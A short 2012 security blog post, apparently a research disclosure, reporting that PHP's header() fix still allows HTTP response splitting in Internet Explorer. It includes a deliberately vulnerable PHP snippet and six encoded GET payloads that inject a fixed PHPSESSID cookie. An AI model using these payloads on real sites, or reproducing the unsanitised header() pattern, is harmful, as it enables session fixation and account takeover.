четверг, 23 августа 2012 г.

PHP multiple headers bypass available again

Recenlty we wrote about universal PHP bypass for header() function.
That trick is based on %0d byte instead of %0d%0a to split HTTP response.
Bug was fixed as you can see at changelog:
http://php.net/ChangeLog-5.php
Version 5.3.11  
Fixed bug #60227 (header() cannot detect the multi-line header with CR). 
 https://bugs.php.net/bug.php?id=60227 is original bug
And what about fix?

                for (i = 0; i < header_line_len; i++) {
                        /* RFC 2616 allows new lines if followed by SP or HT */
                        int illegal_break =
                                        (header_line[i+1] != ' ' && header_line[i+1] != '\t')                                        && (
                                                header_line[i] == '\n'
                                                || (header_line[i] == '\r' && header_line[i+1] != '\n'));
Pay your attention to red line.

And as we wrote before, bug still available for Internet Explorer.

Source code:
<?php
header("Location: /?asd".$_GET['r']);
?>
Attack vectors:
GET /?r=split%0d+Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%20Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%09Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a+Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a%20Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a%09Set-cookie:PHPSESSID=predicated HTTP/1.1